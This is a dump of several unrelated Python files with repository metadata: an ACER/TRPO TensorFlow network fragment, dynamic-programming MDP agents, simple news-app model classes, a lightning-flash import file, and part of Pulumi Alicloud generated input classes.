tf.minimum(1., self.rho) self.rho_bar_c = tf.minimum(self.c, self.rho) self.q_ret = tf.placeholder(tf.float32, [None]) # step 1 from pawel self.advantages_qret = self.q_ret - self.value self.wrt_theta_step1 = -tf.reduce_sum(tf.log(self.responsible_outputs) * tf.stop_gradient(self.rho * self.advantages_qret)) # step 2 from pawel self.wrt_theta = tf.reduce_sum( tf.log(self.responsible_outputs) * tf.stop_gradient(self.rho_bar_c * self.advantages_qret) + tf.reduce_sum(tf.log(self.policy) * tf.stop_gradient(tf.maximum(0., 1. - self.c / self.rho_all) * self.policy * (self.q - tf.reshape(self.value, [-1, 1]))), [1])) self.wrt_theta_v = tf.reduce_sum(tf.square(self.q_ret - self.responsible_q)) self.entropy = -tf.reduce_sum(self.policy * tf.log(self.policy)) #self.loss = self.wrt_theta_v + self.wrt_theta - self.entropy * 0.01 self.target_v = tf.placeholder(tf.float32, [None]) self.advantages = tf.placeholder(tf.float32, [None]) self.advantage_qret_diff = tf.reduce_mean(tf.square(self.advantages - self. advantages_qret)) # DEBUG (A2C) #self.value_loss = 0.5 * tf.reduce_sum(tf.square(self.target_v - tf.reshape(self.value, [-1]))) # original a2c self.q_loss = 0.5 * self.wrt_theta_v self.policy_loss = -self.wrt_theta self.entropy = - tf.reduce_sum(self.policy * tf.log(self.policy)) self.loss = self.q_loss + self.policy_loss - 0.01 * self.entropy self.optimizer = tf.train.AdamOptimizer(self.learning_rate) self.optimize = self.optimizer.minimize(self.loss) # TRPO in theta-space use_trpo = True # can switch off TRPO here self.value_gradients = self.optimizer.compute_gradients(self.q_loss) self.entropy_gradients = self.optimizer.compute_gradients(-0.01 * self.entropy) self.g = self.optimizer.compute_gradients(-self.policy_loss) self.kl = tf.reduce_sum(tf.reduce_sum(self.avg_policy * tf.log(self.avg_policy / self.policy), [1])) # this is total KL divergence, per batch self.k = self.optimizer.compute_gradients(self.kl) self.g = [(grad, var) for grad, var in self.g if grad is not None] self.k = [(grad, var) for grad, var in self.k if grad is not None] assert len(self.g) == len(self.k) self.klprod = tf.reduce_sum([tf.reduce_sum(tf.reshape(k[0], [-1]) * tf.reshape(g[0], [-1])) for k, g in zip(self.k, self.g)]) self.klen = tf.reduce_sum([tf.reduce_sum(tf.reshape(k[0], [-1]) * tf.reshape(k[0], [-1])) for k, g in zip(self.k, self.g)]) self.trpo_scale = tf.maximum(0., (self.klprod - self.delta) / self.klen) self.final_gradients = [] for i in range(len(self.g)): if use_trpo: self.final_gradients.append((-(self.g[i][0] - self.trpo_scale * self.k[i][0]), self.g[i][1])) # negative because this is loss else: self.final_gradients.append((-self.g[i][0], self.g[i][1])) # negative because this is loss self.optimize = [self.optimizer.apply_gradients(self.final_gradients), self.optimizer.apply_gradients(self.entropy_gradients), self.optimizer.apply_gradients(self.value_gradients)] self.update_avg_theta = [avg_w.assign(self.alpha * avg_w + (1. - self.alpha) * w) for avg_w, w in zip(self.avg_theta, self.theta)] def getPolicy(self, inputs, execMask): return self.sess.run([self.policy], feed_dict={ self.inputs: inputs, self.execMask: execMask, }) def train(self, inputs, actions, execMask, rewards, unflattened_inputs, unflattened_rewards, gamma, mu, discounted_rewards, advantages): value, responsible_q, rho_bar, responsible_outputs = self.sess.run( [self.value, self.responsible_q, self.rho_bar, self.responsible_outputs], feed_dict={ self.inputs: inputs, self.actions: actions, self.execMask: execMask, self.mu: mu, }) q_rets, offset = [], 0 #print >> sys.stderr, rho_bar[0], value[0], responsible_q[0] for j in range(0, len(unflattened_inputs)): # todo implement retrace for lambda other than one q_ret, new_q_ret = [], 0 for i in range(len(unflattened_inputs[j])-1, -1, -1): new_q_ret = rewards[offset+i] + gamma * new_q_ret q_ret.append(new_q_ret) new_q_ret = rho_bar[offset+i] * (new_q_ret - responsible_q[offset+i]) + value[offset+i] #new_q_ret = value[offset+i] # debug q_ret = list(reversed(q_ret)) q_rets.append(q_ret) offset += len(unflattened_inputs[j]) q_ret_flat = np.concatenate(np.array(q_rets), axis=0).tolist() feed_dict = { self.inputs: inputs, self.actions: actions, self.execMask: execMask, self.mu: mu, self.q_ret: q_ret_flat, self.target_v: discounted_rewards, self.advantages: advantages, } trpo_scale, klprod, kl, diff, entropy, loss, optimize = self.sess.run([self.trpo_scale, self.klprod, self.kl, self.advantage_qret_diff, self.entropy, self.loss, self.optimize], feed_dict=feed_dict) update_avg_theta = self.sess.run([self.update_avg_theta], feed_dict=feed_dict) return loss, entropy, optimize def predict_policy(self, inputs, execMask): return self.sess.run(self.policy, feed_dict={ self.inputs: inputs, self.execMask: execMask, }) def predict_value(self, inputs, execMask): return self.sess.run(self.value, feed_dict={ self.inputs: inputs, self.execMask: execMask, }) def predict_action_value(self, inputs, execMask): return self.sess.run([self.policy, self.value], feed_dict={ self.inputs: inputs, self.execMask: execMask, }) def load_network(self, load_filename): self.saver = tf.train.Saver() if load_filename.split('.')[-3] != '0': try: self.saver.restore(self.sess, load_filename) print "Successfully loaded:", load_filename except: print "Could not find old network weights" else: print 'nothing loaded in first iteration' def save_network(self, save_filename): print 'Saving acer-network...' #self.saver = tf.train.Saver() self.saver.save(self.sess, save_filename)

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null

0

1

0

8

96aad596783af257f22c3dd4f27142ee5c482efd

170

py

Python

flash/core/data/__init__.py

alvin-chang/lightning-flash

481d4d369ff0a5d8c2b2d9e4970c5608a92b3ff5

[ "Apache-2.0" ]

2

2021-06-25T08:42:36.000Z

2021-06-25T08:49:29.000Z

flash/core/data/__init__.py

alvin-chang/lightning-flash

481d4d369ff0a5d8c2b2d9e4970c5608a92b3ff5

[ "Apache-2.0" ]

null

flash/core/data/__init__.py

alvin-chang/lightning-flash

481d4d369ff0a5d8c2b2d9e4970c5608a92b3ff5

[ "Apache-2.0" ]

null

from flash.core.data.datamodule import DataModule, TaskDataPipeline from flash.core.data.datapipeline import DataPipeline from flash.core.data.utils import download_data

42.5

67

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6.347826

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0

7

96bdc97dfaa2e32bf6e50c9a66aee7b20e94bf0f

830

py

Python

app/models.py

OwinoLucas/news

2ac3f0cedefbf005f1ef557063826869947bd1c1

[ "Unlicense" ]

null

app/models.py

OwinoLucas/news

2ac3f0cedefbf005f1ef557063826869947bd1c1

[ "Unlicense" ]

null

app/models.py

OwinoLucas/news

2ac3f0cedefbf005f1ef557063826869947bd1c1

[ "Unlicense" ]

null

class News_source: """ News_source class to define news_source objects """ def __init__(self,id,name,title,description,url,urlToImage,publishedAt,content): self.id = id self.name = name self.title = title self.description = description self.url = url self.urlToImage = urlToImage self.publishedAt = publishedAt self.content = content class Articles: """ Articles class to define articles objects """ def __init__(self,id,name,title,description,url,urlToImage,publishedAt,content): self.id = id self.name = name self.title = title self.description = description self.url = url self.urlToImage = urlToImage self.publishedAt = publishedAt self.content = content

27.666667

84

0.625301

89

830

5.707865

0.202247

0.047244

0.051181

0.070866

0.822835

0

0.292771

830

30

85

27.666667

0.865417

0.107229

0

0.9

0

1

0.1

false

0

0.2

0

null

0

1

0

1

0

null

0

7

7373061ad55c7e34dbdf029e1672f2791aab7883

10,183

py

Python

agent.py

batra98/MDP-Basics

062ad165313d37d1c88ab5b3407dac11a3ef2b47

[ "MIT" ]

null

agent.py

batra98/MDP-Basics

062ad165313d37d1c88ab5b3407dac11a3ef2b47

[ "MIT" ]

null

agent.py

batra98/MDP-Basics

062ad165313d37d1c88ab5b3407dac11a3ef2b47

[ "MIT" ]

1

2022-03-14T16:08:33.000Z

from abc import ABC, abstractmethod import numpy as np class DiscreteAgent(ABC): def __init__(self,env): self.nstates = env.nstates self.nactions = env.nactions self.V = np.zeros(env.nstates) self.V2 = np.zeros(env.nstates) self.policy = np.zeros([env.nstates,env.nactions]) self.delta = 0 self.gamma = 1 self.P = env.P self.threshold = 0.00001 @abstractmethod def update(self): pass def get_action(self,state): A = np.zeros(self.nactions) for a in range(self.nactions): for prob,next_state,reward,terminate in self.P[state][a]: A[a] += prob*(reward+self.gamma*self.V[next_state]) return A @abstractmethod def reset(self): pass @abstractmethod def get_policy(self): pass def set_gamma(self,gamma): self.gamma = gamma def set_threshold(self,threshold): self.threshold = threshold def get_threshold(self): return self.threshold def get_delta(self): return self.delta def clear(self): self.V = np.zeros(self.nstates) self.V2 = np.zeros(self.nstates) self.policy = np.zeros([self.nstates,self.nactions]) class PolicyIteration(DiscreteAgent): def __init__(self,env): super().__init__(env) self.policy = np.ones([self.nstates, self.nactions]) / self.nactions def evaluate_policy(self): self.V2 = np.zeros(self.nstates) self.V = np.zeros(self.nstates) while True: self.delta = 0 self.V = np.copy(self.V2) for s in range(self.nstates): v = 0 for a, action_prob in enumerate(self.policy[s]): for prob, next_state, reward, done in self.P[s][a]: v += action_prob * prob * (reward + self.gamma * self.V[next_state]) self.delta = max(self.delta, np.abs(v - self.V[s])) self.V2[s] = v if self.delta < self.threshold: break return np.array(self.V) def update(self): policy_stable = True for s in range(self.nstates): chosen_a = np.argmax(self.policy[s]) action_values = self.get_action(s) best_a = np.argmax(action_values) if chosen_a != best_a: policy_stable = False self.policy[s] = np.eye(self.nactions)[best_a] return policy_stable def get_policy(self): return self.policy def reset(self): pass def clear(self): super().clear() self.policy = np.ones([self.nstates, self.nactions]) / self.nactions class ValueIteration(DiscreteAgent): # def get_action(self,state): # A = np.zeros(self.nactions) # for a in range(self.nactions): # for prob,next_state,reward,terminate in self.P[state][a]: # A[a] += prob*(reward+self.gamma*self.V[next_state]) # return A def update(self): self.V = np.copy(self.V2) for s in range(self.nstates): A = self.get_action(s) best_action_value = np.max(A) self.delta = max(self.delta,np.abs(best_action_value-self.V[s])) self.V2[s] = best_action_value def reset(self): self.delta = 0 def get_policy(self): self.policy = np.zeros([self.nstates,self.nactions]) for s in range(self.nstates): A = self.get_action(s) # print(A) best_action = np.argmax(A) self.policy[s,best_action] = 1.0 return self.policy class ConfusedAgent(DiscreteAgent): def get_policy(self): self.policy = np.zeros([self.nstates,self.nactions]) for s in range(self.nstates): A = self.get_action(s) temp = np.random.randint(low = 0,high = 4) self.policy[s,temp] = 1.0 self.V[s] = A[temp] return self.policy def reset(self): pass def update(self): pass class Gambler_ValueIteration(DiscreteAgent): def __init__(self,env): super().__init__(env) self.p_h = env.p_h self.rewards = env.rewards def get_action(self,state): A = np.zeros(self.nstates) possible_bet = range(1,min(state,100-state)+1) # print(self.p_h) for a in possible_bet: A[a] = self.p_h * (self.rewards[state+a]+self.V[state+a]*self.gamma) + (1-self.p_h)*(self.rewards[state-a]+self.V[state-a]*self.gamma) # print(self.rewards) return A def update(self): y = [] self.V = np.copy(self.V2) for s in range(1,self.nstates-1): A = self.get_action(s) best_action_value = np.max(A) self.delta = max(self.delta,np.abs(best_action_value-self.V[s])) self.V2[s] = best_action_value y.append(self.V) return y def reset(self): self.delta = 0 def get_policy(self): self.policy = np.zeros(self.nstates-1) for s in range(self.nstates-1): A = self.get_action(s) best_action = np.argmax(A) self.policy[s] = best_action return self.policy def clear(self): super().clear() self.policy = np.zeros(self.nstates-1) class Jack_PolicyIteration(): def __init__(self,env): self.limit = 8 self.max_cars = env.max_cars self.V = np.zeros((self.max_cars+1,self.max_cars+1)) self.V_2 = np.zeros((self.max_cars+1,self.max_cars+1)) self.policy = np.zeros(self.V.shape,dtype = np.int) self.delta = 0 self.profit = env.profit self.loss = env.loss self.gamma = 0.9 self.store_return_1 = env.store_return_1 self.store_return_2 = env.store_return_2 self.store_rent_1 = env.store_rent_1 self.store_rent_2 = env.store_rent_2 self.threshold = 0.001 self.actions = env.actions def get_next_value(self,state,action): value = 0.0 value -= self.loss*abs(action) cars_at_1 = min(state[0]-action,self.max_cars) cars_at_2 = min(state[1]+action,self.max_cars) for rent_1 in range(self.limit): for rent_2 in range(self.limit): prob_rent = self.store_rent_1[rent_1]*self.store_rent_2[rent_2] present_number_at_1 = cars_at_1 present_number_at_2 = cars_at_2 request_at_1 = min(present_number_at_1,rent_1) request_at_2 = min(present_number_at_2,rent_2) reward = (request_at_1+request_at_2)*(self.profit) present_number_at_1 -= request_at_1 present_number_at_2 -= request_at_2 # print(present_number_at_1) for return_1 in range(self.limit): for return_2 in range(self.limit): prob_return = self.store_return_1[return_1]*self.store_return_2[return_2] present_number_at_1_1 = min(present_number_at_1+return_1,self.max_cars) present_number_at_2_1 = min(present_number_at_2+return_2,self.max_cars) # print(present_number_at_1) value += (prob_return*prob_rent)*(reward+(self.gamma)*self.V[present_number_at_1_1][present_number_at_2_1]) return value def evaluate_policy(self): while True: self.delta = 0 self.V_2 = self.V.copy() for i in range(self.max_cars+1): for j in range(self.max_cars+1): next_state_value = self.get_next_value([i,j],self.policy[i][j]) self.V[i][j] = next_state_value self.delta = abs(self.V_2 - self.V).max() # print(self.delta) if self.delta < self.threshold: break # print(self.V) def update(self): policy_stable = True for i in range(self.max_cars+1): for j in range(self.max_cars+1): chosen_a = self.policy[i][j] A = [] for action in self.actions: if (0 <= action <= i) or (-j <= action <= 0): A.append(self.get_next_value([i,j],action)) else: A.append(-np.inf) new_action = self.actions[np.argmax(A)] self.policy[i][j] = new_action if policy_stable and chosen_a!=new_action: policy_stable = False # print(self.policy) return policy_stable class Jack_PolicyIteration_2(): def __init__(self,env): self.limit = 8 self.max_cars = env.max_cars self.V = np.zeros((self.max_cars+1,self.max_cars+1)) self.V_2 = np.zeros((self.max_cars+1,self.max_cars+1)) self.policy = np.zeros(self.V.shape,dtype = np.int) self.delta = 0 self.profit = env.profit self.loss = env.loss self.gamma = 0.9 self.store_return_1 = env.store_return_1 self.store_return_2 = env.store_return_2 self.store_rent_1 = env.store_rent_1 self.store_rent_2 = env.store_rent_2 self.threshold = 0.001 self.actions = env.actions self.cost = 4 def get_next_value(self,state,action): value = 0.0 if action > 0: temp = action-1 else: temp = action value -= self.loss*abs(temp) cars_at_1 = min(state[0]-action,self.max_cars) cars_at_2 = min(state[1]+action,self.max_cars) for rent_1 in range(self.limit): for rent_2 in range(self.limit): prob_rent = self.store_rent_1[rent_1]*self.store_rent_2[rent_2] present_number_at_1 = cars_at_1 present_number_at_2 = cars_at_2 request_at_1 = min(present_number_at_1,rent_1) request_at_2 = min(present_number_at_2,rent_2) reward = (request_at_1+request_at_2)*(self.profit) present_number_at_1 -= request_at_1 present_number_at_2 -= request_at_2 # print(present_number_at_1) for return_1 in range(self.limit): for return_2 in range(self.limit): prob_return = self.store_return_1[return_1]*self.store_return_2[return_2] present_number_at_1_1 = min(present_number_at_1+return_1,self.max_cars) present_number_at_2_1 = min(present_number_at_2+return_2,self.max_cars) # print(present_number_at_1) if present_number_at_1_1 > 10: reward -= self.cost if present_number_at_2_1 > 10: reward -= self.cost value += (prob_return*prob_rent)*(reward+(self.gamma)*self.V[present_number_at_1_1][present_number_at_2_1]) return value def evaluate_policy(self): while True: self.delta = 0 self.V_2 = self.V.copy() for i in range(self.max_cars+1): for j in range(self.max_cars+1): next_state_value = self.get_next_value([i,j],self.policy[i][j]) self.V[i][j] = next_state_value self.delta = abs(self.V_2 - self.V).max() # print(self.delta) if self.delta < self.threshold: break # print(self.V) def update(self): policy_stable = True for i in range(self.max_cars+1): for j in range(self.max_cars+1): chosen_a = self.policy[i][j] A = [] for action in self.actions: if (0 <= action <= i) or (-j <= action <= 0): A.append(self.get_next_value([i,j],action)) else: A.append(-np.inf) new_action = self.actions[np.argmax(A)] self.policy[i][j] = new_action if policy_stable and chosen_a!=new_action: policy_stable = False # print(self.policy) return policy_stable

23.463134

137

0.677993

1,716

10,183

3.798368

0.065268

0.028383

0.06904

0.041731

0.82019

0.784903

0.767413

0.74977

0.719699

0.696379

0

0.024982

0.190219

10,183

433

138

23.517321

0.765462

0.045959

0

0.768683

0

1

0.128114

false

0.021352

0.007117

0.010676

0.213523

0

null

0

1

0

1

0

null

0

7

73b0e2c8654248b765d025e21be5e1823debfc40

88,910

py

Python

sdk/python/pulumi_alicloud/cs/_inputs.py

pulumi/pulumi-alicloud

9c34d84b4588a7c885c6bec1f03b5016e5a41683

[ "ECL-2.0", "Apache-2.0" ]

42

2019-03-18T06:34:37.000Z

2022-03-24T07:08:57.000Z

sdk/python/pulumi_alicloud/cs/_inputs.py

pulumi/pulumi-alicloud

9c34d84b4588a7c885c6bec1f03b5016e5a41683

[ "ECL-2.0", "Apache-2.0" ]

152

2019-04-15T21:03:44.000Z

2022-03-29T18:00:57.000Z

sdk/python/pulumi_alicloud/cs/_inputs.py

pulumi/pulumi-alicloud

9c34d84b4588a7c885c6bec1f03b5016e5a41683

[ "ECL-2.0", "Apache-2.0" ]

3

2020-08-26T17:30:07.000Z

2021-07-05T01:37:45.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = [ 'ApplicationServiceArgs', 'ClusterNodeArgs', 'EdgeKubernetesAddonArgs', 'EdgeKubernetesCertificateAuthorityArgs', 'EdgeKubernetesConnectionsArgs', 'EdgeKubernetesLogConfigArgs', 'EdgeKubernetesWorkerDataDiskArgs', 'EdgeKubernetesWorkerNodeArgs', 'KubernetesAddonArgs', 'KubernetesAutoscalerNodepoolArgs', 'KubernetesCertificateAuthorityArgs', 'KubernetesConnectionsArgs', 'KubernetesMasterNodeArgs', 'KubernetesPermissionPermissionArgs', 'KubernetesRuntimeArgs', 'KubernetesTaintArgs', 'KubernetesWorkerDataDiskArgs', 'KubernetesWorkerNodeArgs', 'ManagedKubernetesAddonArgs', 'ManagedKubernetesCertificateAuthorityArgs', 'ManagedKubernetesConnectionsArgs', 'ManagedKubernetesMaintenanceWindowArgs', 'ManagedKubernetesRuntimeArgs', 'ManagedKubernetesTaintArgs', 'ManagedKubernetesWorkerDataDiskArgs', 'ManagedKubernetesWorkerNodeArgs', 'NodePoolDataDiskArgs', 'NodePoolLabelArgs', 'NodePoolManagementArgs', 'NodePoolScalingConfigArgs', 'NodePoolSpotPriceLimitArgs', 'NodePoolTaintArgs', 'ServerlessKubernetesAddonArgs', 'SwarmNodeArgs', 'GetKubernetesPermissionPermissionArgs', ] @pulumi.input_type class ApplicationServiceArgs: def __init__(__self__, *, id: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[str]] = None, version: Optional[pulumi.Input[str]] = None): if id is not None: pulumi.set(__self__, "id", id) if name is not None: pulumi.set(__self__, "name", name) if status is not None: pulumi.set(__self__, "status", status) if version is not None: pulumi.set(__self__, "version", version) @property @pulumi.getter def id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "id") @id.setter def id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "id", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def status(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "status") @status.setter def status(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "status", value) @property @pulumi.getter def version(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "version") @version.setter def version(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "version", value) @pulumi.input_type class ClusterNodeArgs: def __init__(__self__, *, eip: Optional[pulumi.Input[str]] = None, id: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, private_ip: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[str]] = None): if eip is not None: pulumi.set(__self__, "eip", eip) if id is not None: pulumi.set(__self__, "id", id) if name is not None: pulumi.set(__self__, "name", name) if private_ip is not None: pulumi.set(__self__, "private_ip", private_ip) if status is not None: pulumi.set(__self__, "status", status) @property @pulumi.getter def eip(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "eip") @eip.setter def eip(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "eip", value) @property @pulumi.getter def id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "id") @id.setter def id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "id", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="privateIp") def private_ip(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "private_ip") @private_ip.setter def private_ip(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "private_ip", value) @property @pulumi.getter def status(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "status") @status.setter def status(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "status", value) @pulumi.input_type class EdgeKubernetesAddonArgs: def __init__(__self__, *, config: Optional[pulumi.Input[str]] = None, disabled: Optional[pulumi.Input[bool]] = None, name: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] name: The kubernetes cluster's name. It is unique in one Alicloud account. """ if config is not None: pulumi.set(__self__, "config", config) if disabled is not None: pulumi.set(__self__, "disabled", disabled) if name is not None: pulumi.set(__self__, "name", name) @property @pulumi.getter def config(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "config") @config.setter def config(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "config", value) @property @pulumi.getter def disabled(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "disabled") @disabled.setter def disabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "disabled", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The kubernetes cluster's name. It is unique in one Alicloud account. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @pulumi.input_type class EdgeKubernetesCertificateAuthorityArgs: def __init__(__self__, *, client_cert: Optional[pulumi.Input[str]] = None, client_key: Optional[pulumi.Input[str]] = None, cluster_cert: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] client_cert: The path of client certificate, like `~/.kube/client-cert.pem`. :param pulumi.Input[str] client_key: The path of client key, like `~/.kube/client-key.pem`. :param pulumi.Input[str] cluster_cert: The base64 encoded cluster certificate data required to communicate with your cluster. Add this to the certificate-authority-data section of the kubeconfig file for your cluster. """ if client_cert is not None: pulumi.set(__self__, "client_cert", client_cert) if client_key is not None: pulumi.set(__self__, "client_key", client_key) if cluster_cert is not None: pulumi.set(__self__, "cluster_cert", cluster_cert) @property @pulumi.getter(name="clientCert") def client_cert(self) -> Optional[pulumi.Input[str]]: """ The path of client certificate, like `~/.kube/client-cert.pem`. """ return pulumi.get(self, "client_cert") @client_cert.setter def client_cert(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "client_cert", value) @property @pulumi.getter(name="clientKey") def client_key(self) -> Optional[pulumi.Input[str]]: """ The path of client key, like `~/.kube/client-key.pem`. """ return pulumi.get(self, "client_key") @client_key.setter def client_key(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "client_key", value) @property @pulumi.getter(name="clusterCert") def cluster_cert(self) -> Optional[pulumi.Input[str]]: """ The base64 encoded cluster certificate data required to communicate with your cluster. Add this to the certificate-authority-data section of the kubeconfig file for your cluster. """ return pulumi.get(self, "cluster_cert") @cluster_cert.setter def cluster_cert(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "cluster_cert", value) @pulumi.input_type class EdgeKubernetesConnectionsArgs: def __init__(__self__, *, api_server_internet: Optional[pulumi.Input[str]] = None, api_server_intranet: Optional[pulumi.Input[str]] = None, master_public_ip: Optional[pulumi.Input[str]] = None, service_domain: Optional[pulumi.Input[str]] = None): if api_server_internet is not None: pulumi.set(__self__, "api_server_internet", api_server_internet) if api_server_intranet is not None: pulumi.set(__self__, "api_server_intranet", api_server_intranet) if master_public_ip is not None: pulumi.set(__self__, "master_public_ip", master_public_ip) if service_domain is not None: pulumi.set(__self__, "service_domain", service_domain) @property @pulumi.getter(name="apiServerInternet") def api_server_internet(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "api_server_internet") @api_server_internet.setter def api_server_internet(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "api_server_internet", value) @property @pulumi.getter(name="apiServerIntranet") def api_server_intranet(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "api_server_intranet") @api_server_intranet.setter def api_server_intranet(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "api_server_intranet", value) @property @pulumi.getter(name="masterPublicIp") def master_public_ip(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "master_public_ip") @master_public_ip.setter def master_public_ip(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "master_public_ip", value) @property @pulumi.getter(name="serviceDomain") def service_domain(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "service_domain") @service_domain.setter def service_domain(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "service_domain", value) @pulumi.input_type class EdgeKubernetesLogConfigArgs: def __init__(__self__, *, type: pulumi.Input[str], project: Optional[pulumi.Input[str]] = None): pulumi.set(__self__, "type", type) if project is not None: pulumi.set(__self__, "project", project) @property @pulumi.getter def type(self) -> pulumi.Input[str]: return pulumi.get(self, "type") @type.setter def type(self, value: pulumi.Input[str]): pulumi.set(self, "type", value) @property @pulumi.getter def project(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "project") @project.setter def project(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "project", value) @pulumi.input_type class EdgeKubernetesWorkerDataDiskArgs: def __init__(__self__, *, auto_snapshot_policy_id: Optional[pulumi.Input[str]] = None, category: Optional[pulumi.Input[str]] = None, device: Optional[pulumi.Input[str]] = None, encrypted: Optional[pulumi.Input[str]] = None, kms_key_id: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, performance_level: Optional[pulumi.Input[str]] = None, size: Optional[pulumi.Input[str]] = None, snapshot_id: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] auto_snapshot_policy_id: Worker node data disk auto snapshot policy. :param pulumi.Input[str] category: The type of the data disks. Valid values: `cloud`, `cloud_efficiency`, `cloud_ssd` and `cloud_essd`. Default to `cloud_efficiency`. :param pulumi.Input[str] encrypted: Specifies whether to encrypt data disks. Valid values: true and false. Default is `false`. :param pulumi.Input[str] name: The kubernetes cluster's name. It is unique in one Alicloud account. :param pulumi.Input[str] performance_level: Worker node data disk performance level, when `category` values `cloud_essd`, the optional values are `PL0`, `PL1`, `PL2` or `PL3`, but the specific performance level is related to the disk capacity. For more information, see [Enhanced SSDs](https://www.alibabacloud.com/help/doc-detail/122389.htm). Default is `PL1`. :param pulumi.Input[str] size: The size of a data disk, at least 40. Unit: GiB. """ if auto_snapshot_policy_id is not None: pulumi.set(__self__, "auto_snapshot_policy_id", auto_snapshot_policy_id) if category is not None: pulumi.set(__self__, "category", category) if device is not None: pulumi.set(__self__, "device", device) if encrypted is not None: pulumi.set(__self__, "encrypted", encrypted) if kms_key_id is not None: pulumi.set(__self__, "kms_key_id", kms_key_id) if name is not None: pulumi.set(__self__, "name", name) if performance_level is not None: pulumi.set(__self__, "performance_level", performance_level) if size is not None: pulumi.set(__self__, "size", size) if snapshot_id is not None: pulumi.set(__self__, "snapshot_id", snapshot_id) @property @pulumi.getter(name="autoSnapshotPolicyId") def auto_snapshot_policy_id(self) -> Optional[pulumi.Input[str]]: """ Worker node data disk auto snapshot policy. """ return pulumi.get(self, "auto_snapshot_policy_id") @auto_snapshot_policy_id.setter def auto_snapshot_policy_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "auto_snapshot_policy_id", value) @property @pulumi.getter def category(self) -> Optional[pulumi.Input[str]]: """ The type of the data disks. Valid values: `cloud`, `cloud_efficiency`, `cloud_ssd` and `cloud_essd`. Default to `cloud_efficiency`. """ return pulumi.get(self, "category") @category.setter def category(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "category", value) @property @pulumi.getter def device(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "device") @device.setter def device(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "device", value) @property @pulumi.getter def encrypted(self) -> Optional[pulumi.Input[str]]: """ Specifies whether to encrypt data disks. Valid values: true and false. Default is `false`. """ return pulumi.get(self, "encrypted") @encrypted.setter def encrypted(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "encrypted", value) @property @pulumi.getter(name="kmsKeyId") def kms_key_id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "kms_key_id") @kms_key_id.setter def kms_key_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "kms_key_id", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The kubernetes cluster's name. It is unique in one Alicloud account. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="performanceLevel") def performance_level(self) -> Optional[pulumi.Input[str]]: """ Worker node data disk performance level, when `category` values `cloud_essd`, the optional values are `PL0`, `PL1`, `PL2` or `PL3`, but the specific performance level is related to the disk capacity. For more information, see [Enhanced SSDs](https://www.alibabacloud.com/help/doc-detail/122389.htm). Default is `PL1`. """ return pulumi.get(self, "performance_level") @performance_level.setter def performance_level(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "performance_level", value) @property @pulumi.getter def size(self) -> Optional[pulumi.Input[str]]: """ The size of a data disk, at least 40. Unit: GiB. """ return pulumi.get(self, "size") @size.setter def size(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "size", value) @property @pulumi.getter(name="snapshotId") def snapshot_id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "snapshot_id") @snapshot_id.setter def snapshot_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "snapshot_id", value) @pulumi.input_type class EdgeKubernetesWorkerNodeArgs: def 